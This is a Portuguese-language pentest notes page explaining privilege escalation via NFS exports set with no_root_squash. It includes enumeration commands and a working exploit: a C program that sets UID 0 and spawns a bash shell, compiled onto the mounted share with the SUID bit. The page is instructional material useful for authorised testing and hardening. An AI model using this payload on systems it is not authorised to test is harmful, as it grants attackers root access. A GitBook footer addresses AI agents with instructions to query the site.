> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/nfs-shares.md).

# Compartilhamentos NFS

Anotações sobre escalação de privilégios em compartilhamento NFS para no\_root\_squash, compartilhamentos graváveis exportados, sistemas de arquivos montados pelo atacante e validação de payload SUID.

Exportações NFS mal configuradas podem permitir escalada de privilégios local quando um compartilhamento gravável é exportado com opções perigosas como `no_root_squash`. Nesse caso, o root na máquina do atacante pode criar arquivos no compartilhamento que mantêm a propriedade de root quando acessados a partir do alvo.

## Metodologia

* Enumere as exportações NFS no alvo e na máquina do atacante.
* Procure compartilhamentos graváveis e opções perigosas de exportação como `no_root_squash` ou `no_all_squash`.
* Monte o compartilhamento a partir de uma máquina atacante e crie o menor proof of concept SUID necessário para validar o impacto.

## Verificações rápidas

No alvo:

```bash
cat /etc/exports
showmount -e localhost
grep no_root_squash /etc/exports
```

A partir de uma máquina atacante:

```bash
showmount -e target_ip
```

## Opções de Exportação Perigosas

| Opção                     | Risco                                                                                      |
| ------------------------- | ------------------------------------------------------------------------------------------ |
| `no_root_squash`          | O root remoto pode manter a propriedade de root nos arquivos criados dentro da exportação. |
| `rw`                      | Permite gravar no compartilhamento exportado.                                              |
| `no_all_squash`           | Os usuários podem manter seu mapeamento original de UID/GID.                               |
| Faixas amplas de clientes | Mais hosts podem montar e interagir com a exportação.                                      |

## Padrão de Exploração

Na máquina atacante:

```bash
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
cat > privesc.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc privesc.c -o privesc
chmod +s privesc
```

No alvo:

```bash
/shared/folder/privesc
```

## Notas de Validação

```bash
ls -la /shared/folder/privesc
id
```

Se o binário não pertencer ao root ou o bit SUID não persistir, a exportação provavelmente está fazendo squash de root ou foi montada com opções restritivas.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/nfs-shares.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
